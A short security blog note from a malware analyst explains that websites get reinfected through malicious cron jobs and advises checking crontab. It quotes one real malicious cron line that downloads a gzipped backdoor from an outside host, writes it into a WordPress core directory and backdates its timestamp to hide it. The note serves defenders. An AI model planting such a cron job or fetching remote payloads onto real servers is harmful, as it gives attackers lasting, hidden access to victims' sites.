Sucuri Blog

Website Security News

Labs Note

Malicious Cron Jobs

You may remove malware from files and a database, close all security holes, change all passwords, but your site still gets reinfected regularly. It may be because you forgot to clean your crontab.

Here’s an example of a malicious cron job that creates a backdoor file in the /wp-includes/Text/Diff/Engine directory every other day:

DOWNLOAD_URL="hxxp://cpanel .jawebsolutions .com/u/w.gz"LOCAL_FILE_PATH="/home/username/public_html/wp-includes/Text/Diff/Engine/i18n.php"1 3 */2 * * rm -f /var/tmp/w.gz ; wget -q -O /var/tmp/w.gz $DOWNLOAD_URL && gunzip -c /var/tmp/w.gz > $LOCAL_FILE_PATH && touch -c -t 201007151834 $LOCAL_FILE_PATH && rm -f /var/tmp/w.gz

So don’t forget to check cron jobs in your hosting control panel or use the crontab -l command if you have SSH access.

About Krasimir Konov

Krasimir Konov is Sucuri's Malware Analyst who joined the company in 2014. Krasimir's main responsibilities include analyzing malicious code, signature creation and documentation of malware. His professional experience covers more than 10 years in the IT field, with nine years involved in IT/cyber security. When he’s not analyzing malware or writing Labs notes, you might find Krasimir riding his motorcycle and traveling the world. Connect with him on Twitter or LinkedIn.

Reader Interactions